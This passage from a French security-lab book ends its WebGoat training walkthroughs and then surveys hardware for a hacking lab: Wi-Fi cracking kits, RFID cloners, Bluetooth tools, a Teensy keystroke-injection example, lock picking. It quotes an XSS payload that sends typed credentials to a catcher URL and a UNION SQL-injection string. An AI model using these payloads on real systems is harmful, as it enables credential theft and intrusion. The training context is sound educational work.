Ici, on nous demande d’insérer du HTML et JavaScript dans les données du POST et de les
envoyer à l’adresse indiquée. Si nous ne comprenons pas ce qu’il faut faire, ou n’arrivons à
trouver la solution, nous disposons des corrections. Pour y accéder, il faut cliquer sur Solution
Videos puis choisir l’épreuve que nous sommes en train de faire. Nous pouvons visualiser les
solutions sous forme de vidéos Flash et même les télécharger au format swf.
Dans notre cas, nous voyons le code qu’il fallait injecter dans le formulaire sur l’extrait de
vidéo ci-après.
Nous choisissons d’insérer un code similaire dans notre formulaire afin de bien comprendre le
mécanisme :
du texte
<b>bla bla</b>
<br><br>
Nom : <br> <input type="test" name="nom"><br>
Mot de passe :<br> <input type="password" name="pass"><br>
<input type="submit" value="Login" onclick="var xssImg=new
Image();xssImg.src=’http://192.168.2.36:8080/webgoat/catcher
?PROPERTY=yes&u=’+this.form.name.value+’&p=’+this.form.pass.value;"
du texte
Nous visualisons bien notre formulaire en bas de la page, comme le montrait la correction.
Nous validons un nom d’utilisateur et un mot de passe quelconque. Voici ce qui se passe :
L’épreuve est résolue.
Nous allons prendre un dernier exemple mettant en œuvre une injection SQL. Nous
sélectionnons dans le menu la leçon Injection Flaws - Numeric SQL Injection. Voici
l’écran que nous avons en face de nous :
Sur cette épreuve, on nous demande de réaliser une injection. La tâche est facilitée car on
nous donne la requête qui est envoyée au serveur. Nous connaissons donc déjà le nom des
tables.
Il faut dans un premier temps pouvoir entrer ce que nous souhaitons dans le champ présenté
sous la forme d’une liste déroulante. Nous pourrions encore utiliser WebScarab, mais
utilisons une solution moins lourde et plus simple de mise en œuvre. La barre Web
Developer va pouvoir nous aider, mais il existe beaucoup d’autres possibilités. Nous
transformons le champ de type select en un champ de type text à l’aide du menu Forms.
L’objectif étant de lire tous les enregistrements de la table, nous allons tenter une injection
avec un union. Essayons ceci dans le champ station :
101 union select * from weather_data#
Nous constatons que nous déclenchons une erreur de traitement. La fin de la requête est
probablement mal formée. Changeons le caractère qui passe le reste de la requête en
commentaire :
101 union select * from weather_data;--
Cette fois-ci, nous validons l’épreuve.
Nous n’irons pas plus loin concernant WebGoat, vous avez tout ce qu’il vous faut pour vous
entraîner, c’est à vous de jouer à présent.
Conclusion
Dans ce chapitre nous vous avons présenté quelques plates-formes d’entraînement. Il en existe
de nombreuses ainsi que des challenges en ligne. Mais rien ne vaut des machines réelles ou au
moins virtuelles pour tester réellement les failles de sécurité sur des systèmes d’information.
Néanmoins, ces entraînements nous apprennent à utiliser des outils, établir des schémas
d’attaques, concevoir des scripts, etc. Il est donc très important de s’initier sur ce type de
solutions d’exercices sans risque.
Le matériel indispensable
Introduction
Notre laboratoire « logiciel » est terminé, mais le hacking n’est pas que logiciel, et
heureusement. Le hardware prend une part de plus en plus importante dans la sécurité
informatique.
C’est pourquoi, si nous voulons un laboratoire complet, il nous faudra investir dans du
matériel.
Dans la suite, nous allons donc vous fournir une liste non exhaustive du matériel nécessaire.
Wi-Fi
1. Kit en vente en Chine
Des kits sont vendus en Chine afin de « cracker » les clés WEP (Wired Equivalent Privacy) et
de deviner les mots de passe WPA (Wi-Fi Protected Access) des réseaux Wi-Fi.
En effet, au moment de l’écriture de ce livre, nous ne « craquons » pas de clé WPA mais nous
utilisons une technique qui se nomme le « brute force par dictionnaire » qui consiste à lire à
l’aide d’un script un fichier contenant une liste de mots usuels (dictionnaire), que nous testons
un à un pour tenter une connexion.
BackTrack fournit tous les logiciels nécessaires tels que aircrack ou cowpatty pour le WPA
et la distribution offre aussi de nombreux dictionnaires. L’adaptateur Wi-Fi sur clé USB est
identique à la clé Wi-Fi Alfa USB que nous verrons plus tard. La documentation nécessaire se
trouve aisément sur Internet.
Ce kit a le mérite de nous fournir tout le matériel nécessaire déjà assemblé, ce qui nous fait
gagner beaucoup de temps.
Le kit est un assemblage de matériels et de logiciels grand public, il comprend un système
d’exploitation Linux dans lequel a été intégré un logiciel de cassage de clés WEP/WPA, une
clé USB adaptateur Wi-Fi, le tout agrémenté d’un manuel d’utilisation et ce, pour un prix très
modique.
La clé WEP est maintenant démodée et son insécurité a été maintes fois démontrée. Mais il
faut savoir que beaucoup de personnes, par habitude ou inexpérimentation, ont laissé leur
accès en WEP. Pour s’en convaincre, il suffit de faire un peu de wardriving ou de walkdriving
dans une ville afin de repérer les points d’accès. Cela se fait aisément avec le logiciel kismet
sous Linux (donc BackTrack). Nous nous apercevrons vite que nous trouverons bien sûr
beaucoup de points d’accès en WPA, WPA2 mais aussi en WEP, et des points d’accès ouverts
!
Le war (wireless access research) consiste à rechercher d’une manière ou d’une autre (en
marchant : walking, en conduisant : driving ou autre) des accès à des matériels wireless.
Il faut aussi se dire que nous raisonnons en tant que citoyens dans un pays dit industrialisé,
mais si nous nous promenons dans d’autres pays, nous nous apercevons vite que certaines
technologies anciennes sont encore très présentes.
2. PirateBox
Les PirateBox sont à l’origine destinées à échanger librement des données du domaine public
ou sous licence libre. Nous pouvons trouver sur Internet plusieurs vidéos qui expliquent
comment fabriquer sa PirateBox pour moins de 100 euros.
Le but est d’avoir un réseau temporaire de partage de fichiers. L’idée est signée par David
Darts.
Il suffit de prendre un routeur sans fil, un serveur Linux et un code mis à disposition sous une
Free Art License (FAL 1.3) ; comprenez que l’invention peut être copiée, diffusée, modifiée
gratuitement selon le principe du copyleft.
Facile à utiliser, PirateBox permet, une fois allumée, d’utiliser un réseau Wi-Fi ouvert et de le
transformer en un espace de partage de fichiers. Les utilisateurs peuvent joindre le réseau
PirateBox ouvert à partir de tout appareil compatible Wi-Fi.
Plusieurs projets pédagogiques les utilisent pour offrir des contenus à des élèves ou des
étudiants et leur permettre d’échanger par chat ou forum.
D’ailleurs, beaucoup de personnes telles que Damien Bancal du célèbre site ZATAZ.com se
promènent constamment avec elle, et ce, dans tous les pays.
Mais la PirateBox est aussi utilisée dans des lieux où l’installation d’Internet est quasi
impossible.
Il existe d’ailleurs un projet visant à fournir à des villages d’Afrique de quoi échanger des
données mais aussi stocker des informations comme une bibliothèque, des ouvrages de
médecine ou des manuels scolaires.
À la base un projet comme tant d’autres, la PirateBox a eu un très fort engouement sur les
réseaux sociaux (#PirateBox), relayé par des comptes influents et par la presse (Voix du Nord,
Numerama, Tom’s Guide, Zataz, etc.) ainsi que par toute une longue série de blogs.
Sa technologie est en constante évolution et avec les nouveaux matériels qui arrivent sur le
marché tels que le RaspberryPI, avec encore plus de mémoire, de puissance et de possibilité
d’extension, son utilisation ne sera que croissante.
Un autre usage envisagé consiste à fournir à un quartier puis à une ville un réseau parallèle
permettant aux habitants d’échanger des informations comme la date d’une réunion de
quartier, celle de la prochaine brocante, ou celle d’un événement quelconque. La PirateBox
permet aussi de discuter en temps réel via son service de messagerie instantanée.
Nous pouvons rencontrer ce dernier cas dans de nombreuses résidences d’étudiants.
L’utilisateur se connecte en Wi-Fi à la PirateBox sans avoir à renseigner un mot de passe
(mais il est tout à fait possible d’en mettre un), et peut ensuite télécharger ou déposer des
fichiers.
Nous n’avons plus aucun moyen de détection distant (il faut être dans l’environnement proche
de la PirateBox, si celle-ci bien sûr n’est pas reliée à Internet).
Nous pouvons aussi poster des messages sur le forum (disponible directement sans autre
configuration) ou utiliser le système de messagerie instantanée disponible.
C’est donc un outil très utilisé et utile pour l’étudier ou en fabriquer avec d’autres matériels
par exemple.
3. Wifi-Box
La Wifi-Box est en fait une carte Wi-Fi USB équipée d’une puce Realtek 8187 qui possède
une portée de réception 10 fois supérieure à celle d’une carte Wi-Fi standard (selon le
constructeur), qui couvre 2,4 GHz et qui respecte la norme 802.11g3.
Comme pour le kit décrit plus haut, c’est un matériel de type Alfa qui est interdit en France (si
la puissance est supérieure à 500 mW).
Il faut brancher la box sur le port USB du PC et booter avec le CD d’utilitaires fourni pour
cracker du WEP.
Le CD est en fait une BackTrack 3 bootable sur laquelle le fabricant a intégré d’office le
module Spoonwep2. Ce module n’est rien d’autre qu’un frontend à aircrack dont nous avons
parlé plus haut.
Il existe aussi Spoonwpa2 pour le WPA qui permet de trouver une clé via une attaque par
brute force ou dictionnaire mais il semblerait que la Wifi-Box ne fonctionne pas pour cela
ainsi que pour du WPA-PSK ou WPA2.
4. Routeur Wi-Fi
Nous aurons aussi besoin d’un routeur Wi-Fi. Nous conseillons un routeur Linksys avec DD-
WRT.
DD-WRT est un firmware alternatif open source basé sur Linux et adapté à une grande variété
de routeurs WLAN et de systèmes embarqués. Le principal atout est de fournir la
manipulation la plus simple possible tout en ayant en même temps un grand nombre de
fonctionnalités.
L’interface utilisateur graphique est logiquement structurée, et elle est exploitée via un
navigateur web standard, de sorte que même les non-techniciens peuvent configurer le
système en quelques étapes simples.
Outre le maniement simple, la vitesse et la stabilité font également partie de l’objectif du
travail de développement. Par rapport au logiciel préinstallé sur de nombreux routeurs
WLAN, DD-WRT permet un fonctionnement fiable avec une fonctionnalité nettement plus
importante que demandent également les exigences de déploiement professionnel.
La communauté d’utilisateurs offre du soutien aux développeurs DD-WRT ainsi que les
utilisateurs eux-mêmes de différentes manières. Les failles potentielles dans le système
peuvent être détectées très rapidement et peuvent donc être corrigées sans délai. Les
utilisateurs DD-WRT peuvent trouver de l’aide et des conseils d’autres utilisateurs sur les
forums d’utilisateurs et le Wiki contient des informations supplémentaires et des guides
pratiques, il est maintenu par la communauté DD-WRT.
Pour les appareils utilisés principalement à des fins privées, DD-WRT est
disponible gratuitement. Les plates-formes utilisées à des fins commerciales nécessitent une
licence payante. Par rapport à la version librement disponible, la version professionnelle
permet également de configurer les paramètres sans fil, ouvrant ainsi la possibilité de créer
par exemple des infrastructures de réseau fiables et performantes. Des exigences particulières
peuvent être satisfaites par des versions spécialement adaptées de DD-WRT.
Principales caractéristiques :
Prise en charge de plus de 200 appareils différents.
Fonctionnalités complètes.
Prise en charge de tous les standards WLAN actuels (802.11a/b/g/n ).
Intégration VPN.
Prise en charge de divers systèmes de Hotspot.
Gestion de la bande passante.
Interface utilisateur multilingue.
DD-WRT jusqu’à la version v22 était fondée sur le micrologiciel Alchemy de Sveasoft, qui
lui-même était fondé sur la version originale du micrologiciel Linksys. DD-WRT depuis la
version v23 a été presque intégralement réécrit.
5. Wi-Fi Alfa USB
Une première version de l’Alpha, l’Alpha 500 de la société Alpha Network, est sortie en 2007
et était bridée à 500 mW. En 2009, une nouvelle version avec une puissance de 1000 mW
(soit 30 db) et une sensibilité de -99 dBm a vu le jour, l’Alpha Network Awus036h.
La sensibilité est le choix évident pour les pirates Wi-Fi. Elle supporte le 802.11 b/g/n et
embarque un chipset Atheros AR9271, un chipset alimenté par USB, et offre trois modes sans
fil (manage, adhoc, monitor). Reconnue par les systèmes d’exploitation récents (y compris
BackTrack 5 R1), elle peut aussi être utilisée dans une machine virtuelle en passant bien sûr
par l’USB.
Depuis la version de firmware 2.2.0, elle peut être utilisée pour les attaques deauth (attaque
qui désauthentifie les personnes connectées) et bien plus encore.
Elle est parfaite pour une utilisation avec la suite aircrack-ng, les modules sans fil Metasploit,
kismet et d’autres utilitaires de pentesting.
Spécifications matérielles :
Atheros chipset 9271
802.11 b/g/n 150 Mbps
canaux de 2,400 à 2,487 GHz 1-14
28 dBm txpower
RFID
1. Distribution Linux
Nous retrouvons de nos jours les technologies RFID (Radio-Frequency IDentification) un peu
partout dans notre quotidien. Le gros inconvénient pour le moment est le manque de sécurité,
non pas de la technologie, mais de l’utilisation que l’on en fait ou de la manière de l’exploiter.
Nos badges d’accès, les antivols dans les magasins, les passeports, les puces d’identification
de nos animaux domestiques, les jouets, entre autres, utilisent le RFID.
Un groupe de développeurs a donc décidé de créer une distribution bootable à base de Fedora,
la « RFID Live Hacking System ». Disponible sous la forme d’un fichier ISO de 663 Mo, la
distribution est capable de fonctionner depuis un CD et nécessite un processeur x86-64
(attention donc aux anciens systèmes).
Elle intègre quelques outils pour récupérer des informations sur des périphériques RFID, avec
bien évidemment l’aide d’un lecteur adapté ; nous pouvons en trouver à partir d’une vingtaine
d’euros. Nous trouvons aussi des outils pour lire et récupérer des informations dans les cartes
de type « Mifare », utilisées par exemple dans les hôtels, dans certains réseaux de transports
en commun, etc.
Il faudra bien sûr acheter le matériel correspondant que nous allons voir par la suite mais nous
pouvons fabriquer nous-mêmes des lecteurs.
Exemple de schéma de circuit électronique trouvé sur le Net
Schéma de circuit électronique normalisé
L’homme est aussi depuis quelques années « implanté ». Dans certains pays, la loi l’autorise
et récemment une université américaine a imposé pour ses étudiants l’implant RFID pour une
question de « sécurité ».
D’autres utilisations en sont faites sur l’homme :
Le contrôle d’accès pour les militaires.
Le suivi des malades mentaux.
Le paiement rapide dans les bars.
L’injection de l’implant se fait principalement dans la main (paiement) ou dans le bras.
Le RFID est donc partout et se développe énormément.
2. Nabaztag
Si nous souhaitons avoir du matériel RFID bon marché, nous allons nous diriger vers les
jouets comme le Nabaztag.
Le Nabaztag (mot arménien pouvant être traduit par « lièvre ») est un objet communicant
représentant un lapin. Il est lancé en juin 2005 puis en 2006, il sort dans sa version avancée :
le Nabaztag:tag.
Nous pouvons nous le procurer bien sûr sur le site officiel mais aussi sur un site de vente aux
enchères. Il est fourni avec un lecteur dans le lapin et avec des tags.
Un tag RFID est une balise métallique contenant des informations (allant d’un identifiant à
des données personnelles).
3. Proxmark3
L’idéal est d’acquérir le proxmark3, un outil qui permet de lire, d’écrire, de sniffer et de
copier des cartes RFID.
Le proxmark3 est un outil RFID formidable, d’une taille très raisonnable. Nous pourrons nous
amuser avec les fréquences de 125 kHz et 13.56 MHz.
Il est possible avec ce matériel de cloner des cartes RFID, c’est-à-dire, à partir d’une carte du
commerce, d’en refaire une sur une carte vierge.
Nous pourrons aussi lire les puces RFID, les écrire, étudier le contenu des tags…
De nombreuses possibilités s’offrent à nous et de nombreux tutoriaux et vidéos en parlent.
Des conférences sont aussi dédiées à ce matériel comme au « hacknowledge-contest Europe
Afrique » (http://www.hacknowledge-contest.org) où Sébastien Lasson de l’association
ACISSI fait un tour des cartes à puce et RFID pour terminer par l’utilisation du proxmark, ce
dernier étant un thème du laboratoire Recherche et Développement de l’association.
4. Lecteur de cartes RFID 125 KHz
Moins coûteux que le proxmark, ce lecteur qui ne travaille que sur une fréquence de 125 KHz.
Nous pouvons lire sur le site du revendeur : « le lecteur électronique RFID 125 KHz est un
module utilisé pour lire des informations uem4100 avec deux formats de sortie : UART et
Wiegand. Il a une sensibilité élevée avec une distance maximum de détection de 7 cm. Les
quatre pins de l’interface électronique le rendent facile à utiliser avec un Arduino ou un
teensy. »
Format de sortie sélectionnable : Uart ou Wiegand
Quatre interfaces
Haute sensibilité
Caractéristiques principales :
Tension d’alimentation : 5 V
Distance maximale de détection : 7 cm
UART de sortie : sortie TTL, 9600 baudrate, 8 bits de données, 1 bit d’arrêt, pas de
bits de vérification.
Sortie Wiegand : 26 bits au format Wiegand, 1 bit de vérification, 24 bits de données
et 1 bit de parité.
5. Fabriquer soi-même
Il est toujours possible de tout fabriquer soi-même ; Elektor fournit par exemple de bons
montages. Sur le site suivant, nous retrouvons la démarche complète de fabrication d’un
lecteur RFID avec fabrication des antennes :
http://78.229.172.208/ELEKTOR/RFID_EXPERIMENTAL.html
Bluetooth
Une autre manière de communiquer sans fil est bien sûr le Bluetooth. Nos ordinateurs, nos
smartphones, nos GPS et autres utilisent le Bluetooth. Mais il est rare que par défaut le
matériel soit très puissant. Il existe heureusement beaucoup de matériels Bluetooth
disponibles sur la toile.
1. Adaptateur Bluetooth
Si vous ne disposez pas de Bluetooth intégré, il existe de nombreuses clés USB Bluetooth.
Voici ci-dessous un exemple parmi tant d’autres.
2. Ubertooth
Le « Ubertooth One » est un projet open source d’une plate-forme de développement sans fil
2,4 GHz pour l’étude du Bluetooth de Michael Ossmann. Il s’agit du premier contrôleur
Bluetooth abordable par tout un chacun qui peut être utilisé pour la surveillance de
connexions Bluetooth et pour le développement de nouvelles technologies Bluetooth et sans
fil. Basé sur le microcontrôleur LPC175x ARM Cortex-M3 avec un USB full-speed USB 2.0,
l’Ubertooth One est le meilleur moyen de développer des périphériques Bluetooth Class 1
customisés, et là aussi c’est du hacking. Il possède un connecteur USB-A et un connecteur
RP-SMA.
Rien d’équivalent n’a jamais été commercialisé comme matériel Bluetooth de hacking avant
Ubertooth One, une plate-forme entièrement open source (matériel et logiciel).
Les schémas et codes sources sont disponibles pour tous nos besoins en hacking…
3. Transmetteur Bluetooth
Le AIRcable Host XR de Wireless Cables, amplificateur de signal, peut atteindre une portée
de 30 km s’il est installé par un professionnel, grâce à une antenne directionnelle 18 dBi. Tout
ce que nous avons à faire, c’est de brancher le AIRcable Host XR à un port USB d’un
ordinateur et c’est prêt. Il est compatible avec Linux, Mac et Windows, et il supporte
pratiquement tous les profils Bluetooth disponibles. Comme le AIRcable Host XR est
alimenté par bus, il n’y a pas besoin d’un adaptateur secteur.
Nous pouvons aisément voir les possibilités d’exploitation de ce matériel, nous pourrions en
théorie à distance récupérer les signaux des oreillettes Bluetooth, des smartphones, des PC...
Cartes à puce
Les cartes bancaires ne sont pas sécurisées, c’est bien connu.
Il suffit de rechercher sur Internet et nous trouvons les failles découvertes sur cette
technologie.
Par exemple, une étude menée par l’université de Cambridge démontre la faiblesse de celles-
ci : http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur-
l-insecurite-des-cartes-bancaires.html
Nous pouvons aussi nous reporter à l’étude de Renaud Lifchitz sur les failles RFID des
nouvelles cartes bancaires : http://www.pcinpact.com/news/70412-cartes-paiement-sans-
contact-defaut-securisation.htm
Nous aurons donc besoin aussi de matériel...
1. Lecteur de cartes à puce
Les lecteurs de cartes à puce en vente sur le web sont multiples et les prix varient en fonction
du fabricant et de la technologie. Mais on peut pour un prix très raisonnable se procurer un
lecteur.
Tous les lecteurs de cartes à puce sont capables d’écrire dans les cartes à puce, pour peu que
ces dernières l’autorisent.
Si nous utilisons des cartes vierges telles que les cartes Gold, Silver, Fun ou Jupiter, il nous
faut un programmateur qui va programmer le microcontrôleur de la carte et/ou sa mémoire
EEPROM, au moins pendant la phase de développement de notre application. Une fois cette
carte programmée, et si nous avons écrit un programme compatible des normes ISO 7816 3 et
4, un lecteur classique pourra ensuite être utilisé pour lire et écrire dans notre carte.
Si nous utilisons des cartes personnalisables comme les cartes ACOS 1 ou 2 ou encore des
cartes à puce à OS ouvert comme la Basic Card que nous verrons dans la section suivante, un
lecteur classique suffit.
Le programmateur n’est nécessaire que pour les cartes initialement vierges car elles ne
peuvent pas dialoguer avec quoi que ce soit dans cet état.
2. Basic Card
La Basic Card est une carte à OS ouvert, c’est-à-dire qu’elle contient un microcontrôleur
programmé avec un interpréteur de P code. Ce qui est plus original, c’est que ce P code
provient du résultat de la compilation par l’outil de développement d’un programme écrit en
Basic.
Le Basic se rapproche plus du C que du GWBasic des premiers PC.
C’est cette simplicité de programmation qui fait une partie de l’intérêt de la Basic Card. En
effet, si nous savons ce qu’est une carte à puce, il ne nous faudra que quelques heures pour
arriver à développer une application opérationnelle.
De très bons livres dont ceux de Patrick Gueule expliquent en détail le fonctionnement des
cartes à puce et expliquent la programmation grâce à Basic des cartes à puce.
Autre intérêt majeur de cette approche : l’outil de développement nécessaire est totalement
gratuit. Il peut être librement téléchargé sur le site Internet spécialement consacré à la Basic
Card, à l’adresse www.basiccard.com
Nous pouvons utiliser le langage Basic que ce soit pour programmer la carte ou aussi pour
développer l’application du côté terminal qui utilisera la carte.
Il n’est donc pas nécessaire d’apprendre ou d’utiliser un nouveau langage pour programmer
l’application côté lecteur.
Enfin, l’outil de développement intègre un simulateur de carte qui nous permet, sans posséder
le moindre lecteur ni la moindre carte, de tester notre application. La rubrique « tutoriels » du
site nous présente d’ailleurs quelques exemples d’utilisation de ce remarquable outil.
Pour nous donner une idée de la structure d’un programme, voici un petit exemple :
DefByte I-R ’ toute variable commençant par une lettre de I à R
est de type Byte
Private Iter ’ type Byte
Public Radius! = 1 ’ type Single, affectation avec conversion
Public Pistr$ = "3.1416"
Public Pi As Single = Val!(Pistr$)
Eeprom S1 As String*5 = "ABC" ’ complété avec des octets NULL
Public S2 As String*3 = &H81, &H82, &H83
Private S3 As String*7 = 3, 4, "XYZ" ’ = 3, 4, 88, 89, 90, 0, 0
Eeprom CustomerName$ = "" ’
Eeprom Balance& = 500 ’
For J=1 to 8 Do J=J+1 ’ J est declare implicitement et est de type Byte
Cartes magnétiques
Les cartes magnétiques sont aussi très répandues et encore très utilisées, surtout dans d’autres
pays que la France.
Une carte à bande magnétique est une carte capable de stocker des données en modifiant le
magnétisme de minuscules particules à base de fer sur une bande de matériau sur la carte.
Nous avions il y a encore quelques années des cassettes à bandes que nous mettions dans
notre poste radio ou notre walkman, mot qui pour les moins de 30 ans ne doit plus rien dire
(disons une sorte de lecteur mp3 mais à bande magnétique).
La bande magnétique de la carte, parfois appelée piste magnétique, est lue par une tête de
lecture magnétique.
Nous pouvons d’ailleurs créer un lecteur de cartes magnétiques grâce à des lecteurs de
cassettes que nous pouvons encore trouver sur des sites d’enchères ou dans les brocantes pour
quelques euros. Les schémas de montages et explications se trouvent sur le web facilement.
L’invention date de la seconde guerre mondiale pour l’enregistrement audio. Dans les années
1950, l’enregistrement magnétique des données informatiques numériques sur bande de
plastique recouverte d’oxyde de fer a été inventé. En 1960, IBM a utilisé la bande magnétique
afin de développer un moyen fiable d’obtenir des bandes magnétiques sur des cartes
plastiques, en vertu d’un contrat avec le gouvernement américain pour un système de sécurité.
Beaucoup de normes ont été éditées afin de standardiser l’utilisation de ces cartes. Tout y est
défini :
Les propriétés physiques de la carte.
La taille.
La flexibilité.
L’emplacement de la piste magnétique.
Les caractéristiques magnétiques des formats de données.
Les organismes de normalisation fournissent également des normes pour les cartes
financières, y compris la répartition des plages de numéros de carte entre différents instituts
d’émission.
Autres matériels
D’autres matériels vont nous être très utiles car ils sont programmables à souhait. Nous
pourrons avec eux simuler un clavier sur un port USB, effectuer des brutes forces
automatiques, fabriquer des pirates box….
1. Arduino
Sur le site Arduino, http://www.arduino.cc/, nous pouvons lire :
« Le système Arduino est un outil pour fabriquer de petits ordinateurs qui peuvent capter et
contrôler davantage de choses du monde matériel que votre ordinateur de bureau.
C’est une plate-forme open source d’électronique programmée qui est basée sur une simple
carte à microcontrôleur (de la famille AVR), et un logiciel, véritable environnement de
développement intégré, pour écrire, compiler et transférer le programme vers la carte à
microcontrôleur.
Arduino peut être utilisé pour développer des objets interactifs, pouvant recevoir des entrées
d’une grande variété d’interrupteurs ou de capteurs, et pouvant contrôler une grande variété
de lumières, moteurs ou toutes autres sorties matérielles. Les projets Arduino peuvent être
autonomes, ou bien ils peuvent communiquer avec des logiciels tournant sur votre ordinateur
(tels que Flash, Processing ou MaxMSP). Les cartes électroniques peuvent être
fabriquées manuellement ou bien être achetées préassemblées ; le logiciel de développement
open source peut être téléchargé gratuitement.
Le langage de programmation Arduino est une implémentation de Wiring, une plate-forme de
développement similaire, qui est basée sur l’environnement multimédia de programmation
Processing. »
L’Arduino est assez simple de prise en main. Sa programmation est un pseudolangage C.
L’exemple suivant nous montre la structure d’un programme.
void setup() {
Serial.begin(9600); // initialise la communication série
// vérifier que le débit utilisé est le même dans le terminal
série
}
void loop() {
int sensorValue = analogRead(A0); // lit la valeur analogique
// sur la broche A0 et met le résultat dans la variable
Serial.println(sensorValue, DEC); // affiche la variable dans
le terminal série
}
Nous voyons qu’il n’y a rien de très compliqué. L’Arduino est par exemple utilisé dans la
fabrication d’une imprimante 3D, dans des robots comme la coupe de robotique diffusée par
E=M6 il y a quelques années et dans bien d’autres applications.
2. Teensy
Le Teensy est un des premiers matériels « low cost » comportant un processeur qui nous a
permis nos premiers « hacks » hardwares. Il est aussi utilisé dans certains hacks de consoles
de jeux par exemple.
Le Teensy est un « stick » sur une base d’AVR AT90USB1286 de Atmel, à peine plus grand
qu’une Arduino pro mini, et programmable avec l’IDE Arduino.
Nous pouvons acheter un boîtier qui le fera ressembler à une clé USB et qui le rendra donc
beaucoup moins visible pour des utilisations en société.
Il a la particularité d’avoir un port USB hardware (device only) compatible avec la librairie
LUFA.
Le Teensy est programmable soit avec l’IDE Arduino, soit avec le langage C « pur ».
Une des idées que nous avions eues était de tester les bornes de développement photo placées
surtout dans les grandes surfaces.
Nous avions donc programmé le Teensy en clavier USB qui ouvrait le menu Démarrer et qui
lançait la console DOS. Ensuite nous faisions un ipconfig /all puis un ping sur une adresse
interne pour finir par un ping sur une adresse externe. Et tout cela en mode automatique.
Voici un exemple de programme :
// press and hold CTRL
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
// press ALT while still holding CTRL
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
Keyboard.send_now();
// press DELETE, while CLTR and ALT still held
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();
// release all the keys at the same instant
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Lock picking
D’après Wikipédia : « Le crochetage est une technique d’ouverture de serrure dite « fine ».
Cela signifie qu’elle permet d’ouvrir la serrure à l’aide d’outils spécifiques appelés crochets
ou parapluies sans détruire la serrure. Le crochetage inclut l’ouverture de tous les types de
serrures, y compris à clés magnétiques ou électroniques. »
Pourquoi cela ici ? Parce que le lock picking ou crochetage fait partie du hacking et de
l’arsenal du pirate. Il s’en sert pour arriver physiquement face à l’ordinateur cible.
Le kit de lockpicking est totalement interdit en France sauf pour les serruriers.
Mais pour une utilisation en laboratoire, sans jamais le sortir et voyager avec, il permet
d’étudier ces techniques et d’essayer bien sûr de trouver des contre-mesures.
Carte SIM
Avec le lecteur de cartes SIM, nous pouvons facilement gérer les données de l’annuaire de
notre carte SIM GSM et régulièrement créer une copie de sauvegarde des données en cas de
perte ou de mise à niveau du téléphone. Le lecteur de cartes SIM est un lecteur USB de
gestion des cartes SIM pour téléphones portables, également compatible avec les cartes
UMTS USIM de la troisième génération de la téléphonie mobile. Il fait également office de
lecteur de cartes à puce compatible PC/SC (Personal Computer/Smart Card) pour les
applications de sécurité PC, compatible avec tous les types de cartes à puce aujourd’hui
disponibles sur le marché.
Récupération de données
Il est aussi nécessaire de pouvoir effectuer des récupérations de données.
1. Adaptateur USB vers SATA et IDE
Nous aurons souvent besoin de récupérer rapidement les données d’un disque dur via l’USB.
Il existe pour cela des adaptateurs peu coûteux.
2. Bloqueur d’écriture
Un bloqueur est un périphérique informatique permettant à un ordinateur de consulter le
contenu d’un support numérique (disque dur, carte mémoire...) sans en modifier le contenu.
Sur le site http://www.ibou.fr/forensic/page6/page6.html, nous pouvons par exemple trouver
le UF2PSATA22.
Le UF2PSATA22, par exemple, est un bloqueur externe USB 2 et FireWire 400 (côté PC
d’analyse) pour disques durs SATA et ATA 3,5". Ce bloqueur dispose d’un commutateur
pour activer la fonction lecture/écriture ou lecture seule. Pratique pour analyser le contenu
d’un disque sans avoir à le retirer de la machine.
3. Bus Pirate
Bus Pirate est un outil faisant communiquer n’importe quel périphérique avec un ordinateur,
via la plupart des protocoles standard incluant I2C, SPI et UART, à une tension comprise
entre 0 et 5,5V DC.
Il est particulièrement utile dans les phases de prototypage, de dépannage ou lors d’utilisation
de matériels inconnus.
C’est pourquoi il va nous être très utile pour faire du reverse engineering, pour déterminer le
protocole de communication entre deux matériels ou pour surveiller un dialogue.
La version 4 est la dernière génération de carte Bus Pirate. Encore au stade expérimental, elle
n’est pas aussi stable que les versions précédentes. La version Bus Pirate V3, moins chère,
plus stable et aux fonctionnalités générales similaires, est recommandée pour les nouveaux
utilisateurs.
Conclusion
Nous venons de faire un tour, comme dit en introduction, non exhaustif du matériel
nécessaire.
Certains matériels sont peu coûteux mais les prix peuvent vite grimper. Nous n’avons pas
parlé par exemple de l’USRP, matériel très utile mais d’un prix supérieur à 2000 euros.
Ce matériel ne s’acquiert pas bien sûr dès le premier mois de fabrication du laboratoire mais
petit à petit. L’achat de tout ce qui est décrit dans ce chapitre nous a pris plusieurs années.
Il sera aussi nécessaire d’avoir d’autres appareils : oscilloscope numérique, analyseur de
spectre, multimètre, fer à souder, composants...